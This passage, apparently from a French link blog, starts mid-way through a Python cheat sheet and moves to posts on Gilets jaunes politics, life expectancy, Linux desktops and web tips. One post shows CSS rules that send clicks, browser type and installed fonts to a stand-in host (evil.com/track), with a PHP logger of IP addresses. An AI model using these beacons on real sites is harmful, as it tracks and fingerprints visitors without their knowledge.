    headers = [header.title() for header in next(lines)]
    table   = tabulate(lines, headers)
    print(table)

Curses

# $ pip3 install curses
from curses import wrapper

def main():
    wrapper(draw)

def draw(screen):
    screen.clear()
    screen.addstr(0, 0, 'Press ESC to quit.')
    while screen.getch() != 27:
        pass

def get_border(screen):
    from collections import namedtuple
    P = namedtuple('P', 'x y')
    height, width = screen.getmaxyx()
    return P(width - 1, height - 1)

Image

Creates PNG image of greyscale gradient:

# $ pip3 install pillow
from PIL import Image
width  = 100
height = 100
size   = width * height
pixels = [255 * i/size for i in range(size)]

img = Image.new('L', (width, height), 'white')
img.putdata(pixels)
img.save('test.png')

Modes

  • '1' - 1-bit pixels, black and white, stored with one pixel per byte.
  • 'L' - 8-bit pixels, greyscale.
  • 'RGB' - 3x8-bit pixels, true color.
  • 'RGBA' - 4x8-bit pixels, true color with transparency mask.
  • 'HSV' - 3x8-bit pixels, Hue, Saturation, Value color space.

Audio

Saves a list of floats with values between -1 and 1 to a WAV file:

import wave, struct
samples = [struct.pack('<h', int(a * 30000)) for a in <list>]
wf = wave.open('test.wav', 'wb')
wf.setnchannels(1)
wf.setsampwidth(2)
wf.setframerate(44100)
wf.writeframes(b''.join(samples))
wf.close()

Plays Popcorn

# pip3 install simpleaudio
import simpleaudio, math, struct
from itertools import chain, repeat
F  = 44100
S1 = '71♪,69,,71♪,66,,62♪,66,,59♪,,,'
S2 = '71♪,73,,74♪,73,,74,,71,,73♪,71,,73,,69,,71♪,69,,71,,67,,71♪,,,'
get_pause = lambda seconds: repeat(0, int(seconds * F))
sin_f     = lambda i, hz: math.sin(i * 2 * math.pi * hz / F)
get_wave  = lambda hz, seconds: (sin_f(i, hz) for i in range(int(seconds * F)))
get_hz    = lambda n: 8.176 * 2 ** (int(n) / 12)
parse_n   = lambda note: (get_hz(note[:2]), 0.25 if len(note) > 2 else 0.125)
get_note  = lambda note: get_wave(*parse_n(note)) if note else get_pause(0.125)
samples_f = chain.from_iterable(get_note(n) for n in f'{S1}{S1}{S2}'.split(','))
samples_b = b''.join(struct.pack('<h', int(a * 30000)) for a in samples_f)
simpleaudio.play_buffer(samples_b, 1, 2, F)

Url

from urllib.parse import quote, quote_plus, unquote, unquote_plus

Encode

>>> quote("Can't be in URL!")
'Can%27t%20be%20in%20URL%21'
>>> quote_plus("Can't be in URL!")
'Can%27t+be+in+URL%21'

Decode

>>> unquote('Can%27t+be+in+URL%21')
"Can't+be+in+URL!"
>>> unquote_plus('Can%27t+be+in+URL%21')
"Can't be in URL!"

Scraping

# $ pip3 install requests beautifulsoup4
>>> import requests
>>> from bs4 import BeautifulSoup
>>> url   = 'https://en.wikipedia.org/wiki/Python_(programming_language)'
>>> page  = requests.get(url)
>>> doc   = BeautifulSoup(page.text, 'html.parser')
>>> table = doc.find('table', class_='infobox vevent')
>>> rows  = table.find_all('tr')
>>> link  = rows[11].find('a')['href']
>>> ver   = rows[6].find('div').text.split()[0]
>>> link, ver
('https://www.python.org/', '3.7.2')

Web

# $ pip3 install bottle
from bottle import run, route, post, template, request, response
import json

Run

run(host='localhost', port=8080)
run(host='0.0.0.0', port=80, server='cherrypy')

Static Request

@route('/img/<image>')
def send_image(image):
    return static_file(image, 'images/', mimetype='image/png')

Dynamic Request

@route('/<sport>')
def send_page(sport):
    return template('<h1>{{title}}</h1>', title=sport)

REST Request

@post('/odds/<sport>')
def odds_handler(sport):
    team = request.forms.get('team')
    home_odds, away_odds = 2.44, 3.29
    response.headers['Content-Type'] = 'application/json'
    response.headers['Cache-Control'] = 'no-cache'
    return json.dumps([team, home_odds, away_odds])

Test:

# $ pip3 install requests
>>> import requests
>>> url = 'http://localhost:8080/odds/football'
>>> data = {'team': 'arsenal f.c.'}
>>> response = requests.post(url, data=data)
>>> response.json()
['arsenal f.c.', 2.44, 3.29]

Profile

Basic

from time import time
start_time = time()  # Seconds since Epoch.
...
duration = time() - start_time

High Performance

from time import perf_counter as pc
start_time = pc()    # Seconds since restart.
...
duration = pc() - start_time

Timing a Snippet

from timeit import timeit
timeit('"-".join(str(a) for a in range(100))', 
       number=10000, globals=globals(), setup='pass')

Line Profiler

# $ pip3 install line_profiler
@profile
def main():
    a = [*range(10000)]
    b = {*range(10000)}
main()

Usage:

$ kernprof -lv test.py
Line #      Hits         Time  Per Hit   % Time  Line Contents
==============================================================
     1                                           @profile
     2                                           def main():
     3         1       1128.0   1128.0     27.4      a = [*range(10000)]
     4         1       2994.0   2994.0     72.6      b = {*range(10000)}

Call Graph

Generates a PNG image of call graph with highlighted bottlenecks:

# $ pip3 install pycallgraph
from pycallgraph import output, PyCallGraph
from datetime import datetime
time_str = datetime.now().strftime('%Y%m%d%H%M%S')
filename = f'profile-{time_str}.png'
drawer = output.GraphvizOutput(output_file=filename)
with PyCallGraph(output=drawer):
    <code_to_be_profiled>

NumPy

Array manipulation mini language. Can run up to 100 times faster than equivalent Python code.

# $ pip3 install numpy
import numpy as np
<array> = np.array(<list>)
<array> = np.arange(from_inclusive, to_exclusive, step_size)
<array> = np.ones(<shape>)
<array> = np.random.randint(from_inclusive, to_exclusive, <shape>)
<array>.shape = <shape>
<view>  = <array>.reshape(<shape>)
<view>  = np.broadcast_to(<array>, <shape>)
<array> = <array>.sum(<axis>)
indexes = <array>.argmin(<axis>)
  • Shape is a tuple of dimension sizes.
  • Axis is an index of dimension that gets collapsed.

Indexing

<el>       = <2d_array>[0, 0]        # First element.
<1d_view>  = <2d_array>[0]           # First row.
<1d_view>  = <2d_array>[:, 0]        # First column. Also [..., 0].
<3d_view>  = <2d_array>[None, :, :]  # Expanded by dimension of size 1.
<1d_array> = <2d_array>[<1d_row_indexes>, <1d_column_indexes>]
<2d_array> = <2d_array>[<2d_row_indexes>, <2d_column_indexes>]
<2d_bools> = <2d_array> > 0
<1d_array> = <2d_array>[<2d_bools>]
  • If row and column indexes differ in shape, they are combined with broadcasting.

Broadcasting

Broadcasting is a set of rules by which NumPy functions operate on arrays of different sizes and/or dimensions.

left  = [[0.1], [0.6], [0.8]]  # Shape: (3, 1)
right = [ 0.1 ,  0.6 ,  0.8 ]  # Shape: (3)

1. If array shapes differ, left-pad the smaller shape with ones:

left  = [[0.1], [0.6], [0.8]]  # Shape: (3, 1)
right = [[0.1 ,  0.6 ,  0.8]]  # Shape: (1, 3) <- !

2. If any dimensions differ in size, expand the ones that have size 1 by duplicating their elements:

left  = [[0.1, 0.1, 0.1], [0.6, 0.6, 0.6], [0.8, 0.8, 0.8]]  # Shape: (3, 3) <- !
right = [[0.1, 0.6, 0.8], [0.1, 0.6, 0.8], [0.1, 0.6, 0.8]]  # Shape: (3, 3) <- !

3. If neither non-matching dimension has size 1, rise an error.

Example

For each point returns index of its nearest point ([0.1, 0.6, 0.8] => [1, 2, 1]):

>>> points = np.array([0.1, 0.6, 0.8])
[ 0.1,  0.6,  0.8]
>>> wrapped_points = points.reshape(3, 1)
[[ 0.1],
 [ 0.6],
 [ 0.8]]
>>> distances = wrapped_points - points
[[ 0. , -0.5, -0.7],
 [ 0.5,  0. , -0.2],
 [ 0.7,  0.2,  0. ]]
>>> distances = np.abs(distances)
[[ 0. ,  0.5,  0.7],
 [ 0.5,  0. ,  0.2],
 [ 0.7,  0.2,  0. ]]
>>> i = np.arange(3)
[0, 1, 2]
>>> distances[i, i] = np.inf
[[ inf,  0.5,  0.7],
 [ 0.5,  inf,  0.2],
 [ 0.7,  0.2,  inf]]
>>> distances.argmin(1)
[1, 2, 1]

Basic Script Template

#!/usr/bin/env python3
#
# Usage: .py
# 

from collections import namedtuple
from enum import Enum
import re
import sys


def main():
    pass


###
##  UTIL
#

def read_file(filename):
    with open(filename, encoding='utf-8') as file:
        return file.readlines()


if __name__ == '__main__':
    main()

Quand Bernard Henri Lévy, invité par la Radio Télévision Suisse, se fait satelliser en direct - Le bazar de mydjey

« Monsieur Lévy, j'ai juste une recommandation à vous faire, vous vous cherchez une stature de sauveur, de rédempteur.
Mais enfilez un gilet jaune, vous voulez combattre la dictature, enfilez un gilet jaune.
Allez prendre la tête d'une vraie manifestation, où on vous tirera dessus à balles réelles, fussent-elles en caoutchouc, vous ne risquerez que de perdre un œil. Et à ce moment là vous rentrerez enfin dans l'histoire comme vous rêvez de le faire, parce que jusqu'ici vous n'avez pu prendre que des tartes à la crème. »

Hashtag dansTaGueule



LES FOULARDS ROUGES : LA VRAIE FOULE HAINEUSE - YouTube

J'ai même pas eu la patience de regarder jusqu'au bout...
C'est à mon sens le problème d'arborer un «uniforme» de lutte: les connards s'en servent pour venir te faire chier quand t'es tout seul.

Après, la France compte une grosse partie de réacs...
surprise

Que les privilégiés :

  • s'accrochent à leurs privilèges,
  • veuillent obliger les opprimés à ne s'exprimer que selon les règles d'un jeu qui porte au pouvoir ceux qui maintiennent ces privilèges,
  • expliquent aux opprimés comment ils doivent lutter
  • et soient favorables à l'usage de la force quand c'est pour maintenir un «ordre public» de caste mais pas quand c'est dans le cadre de la lutte,

je ne vois pas en quoi c'est nouveau.

«la démocratie c'est dans les urnes, pas dans la rue !»
T'as raison vieux con suffisant: avec cette façon de penser, t'aurais pas de démocratie du tout pauvre tâche: t'aurais un roi tout puissant qui aurait droit de vie et de mort sur toi et ta famille... heureusement qu'il y en a qui sont allés gueuler dans la rue, à une époque, non ?!
Ceci dit, au 18ème siècle, tu aurais sans doute été du côté de la royauté, servile et réactionnaire comme tu l'es.



« De toute façon, avant, on mourait à 30 ans… » - Le bazar de mydjey

Très intéressant. Toute la croyance en la légende selon laquelle «avant on mourait à 30 ans» vient du fait qu'on ne prend en compte que la moyenne de mortalité: comme ça prend en compte une très importante mortalité infantile, la moyenne baisse. De plus, on confond l'espérance de vie (cette moyenne) et la longévité (l'âge jusqu' auquel on a des chances d'arriver à partir du moment où on a survécu à l'enfance).

Donc, l'espérance de vie est bien passée de 35 ans à 85 ans mais le pic de mortalité au grand âge n'a avancé que de 10 ans. On n'a donc jamais été «vieux» à 35 ans.

C'est à mon sens ce qu'il faut retenir car quand les gens disent « De toute façon, avant, on mourait à 30 ans… », ils sous-entendent qu'on vieillissait plus vite qu'aujourd'hui, ce qui est donc factuellement faux.

Ci-joint la capture d'écran du thread.

image

Tracking Users with CSS

Holy Fuck...
C'est pas con du tout: pister les clicks des visiteurs via css:



#link:active::after {
content: url("https://evil.com/track?action=link_clicked");
}

Et hop, côté serveur, tu récupères tout bien comme tu veux.




session_start();

// Prints the time that the script ran
print("Timestamp: " . time());

// Prints the action specified by the action parameter (in this case, "link_clicked")
print("Action: " . $_REQUEST['action']);

// Prints the user's IP address
print("IP Address: " . $_SERVER['REMOTE_ADDR']);

// Prints the user's browser agent
print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);
?>




Et c'est pas tout !

On peut détecter le navigateur:



@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
#chrome_detect::after {
content: url("https://evil.com/track?action=browser_chrome");
}
}




ou même l'OS:



// stylesheet.css
@font-face {
font-family: Font1;
src: url("https://evil.com/track?action=font1");
}

#font_detection {
font-family: Calibri, Font1;
}

<!-- page.html -->
<div id="font_detection">test</div>







"Franck Dubosc ne soutient que lui même !" Jérémy Ferrari - Les Incorrectibles

Plus ça va, plus j'aime bien Jérémy Ferrari.
Déjà, son spectacle précédent m'avait plu...

Là en gros:

  1. il soutient les mouvements qui vont vers plus de liberté et de justice,
  2. il revendique le droit de ne pas donner son avis sans savoir ou s'être correctement informé,
  3. il refuse de suivre les autres aveuglément,
  4. il refuse d'être un comique pour privilégiés,
  5. il n'hésite pas à dire aux privilégiés qu'ils le sont...

    Je n'ai pas regardé toute l'émission (vu que juste pour 11 minutes j'ai déjà été interrompu six fois...)

De Lubuntu à Kubuntu et autres réflexions – Le blog de Cyrille BORNE

Il y a un vaste mensonge qu’il faudra régler de façon collective, c’est la notion de distribution pour vieux PC ou de distribution légère. Il est évident qu’une slitaz sera plus adaptée à une vieille machine qu’une Ubuntu, mais on oublie tout simplement l’usage. À partir du moment où tu lances ton navigateur moderne c’est-à-dire Firefox ou Chrome, la machine ancienne n’existe plus, car elle ne tourne plus, écrasée sous la masse de gigas de RAM que réclame la navigation en 2019.
[...] quand on vous conseille de vous orienter vers un DE plutôt qu’un autre pour une question de légèreté, souvenez-vous que ce n’est qu’une question d’esthétique, une fois que vous avez lancé le navigateur, vous êtes tous égaux devant allocine.


Cyrille Borne, 2019



Tout-à-fait d'accord... à tel point qu'un système qui ne consisterait qu'en un navigateur serait amplement suffisant (hein ?! mais non, j'ai pas parlé de FirefoxOS )

Pure CSS floating label

Un floating label en pur css ! \o/ Merci Timo !


<label>
<input type="text" id="name" placeholder=" ">
<span>Name</span>
</label>
<label>
<input type="password" id="password" placeholder=" ">
<span>Password</span>
</label>





label {
position: relative;
}

input {
padding: 10px;
border: 1px silver solid;
}
span {
position: absolute;
transition: all 200ms;
opacity: 0.5;
left: 0px;
padding: 10px;
transform-origin: top left;
}

input:not(:placeholder-shown) + span {
transform: translateY(-100%) scale(.75);
opacity: 1;
padding: 0 10px;
}



Via https://lehollandaisvolant.net/?id=20190109140902

Luc Ferry appelle à tirer sur les Gilets jaunes et veut l'intervention de l'armée | FranceSoir

"On ne donne pas les moyens au policiers de mettre fin aux violences. Quand on voit des types qui tabassent à coups de pieds un malheureux policier... qu'ils se servent de leurs armes une bonne fois, écoutez, ça suffit!", a lancé le philosophe. Et de poursuivre: "Il y a un moment où ces espèces de nervis d'extrême droite ou d'extrême gauche ou des quartiers qui viennent tabasser des policiers ça suffit!".

Et de conclure: "on a, je crois, la quatrième armée du monde, elle est capable de mettre fin à ces saloperies, faut dire les choses comme elles sont".

Ferme ta gueule Luc Ferry.



Optimiser et accélérer les pages web - lehollandaisvolant.net

excellent tuto de Timo, comme toujours.
Optimiser les temps de chargement et d'execution des pages html/css et du code js/PHP

je retiens:

  • <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" />
  • l'utilisation du minimum de classes/id pour le ciblage des éléments.
  • <script id="jsondata" type="application/json">// JSON</script> avec data = JSON.parse(document.getElementById('jsondata').textContent);
  • le base64 pour les images de -1ko
  • L'optimiseur de svg svgomg
  • la compression via HTACCESS
  • L'utilisation simple de Gzip en PHP
    
    function initOutputFilter() {
        ob_start('ob_gzhandler');
        register_shutdown_function('ob_end_flush');
     }
     initOutputFilter();
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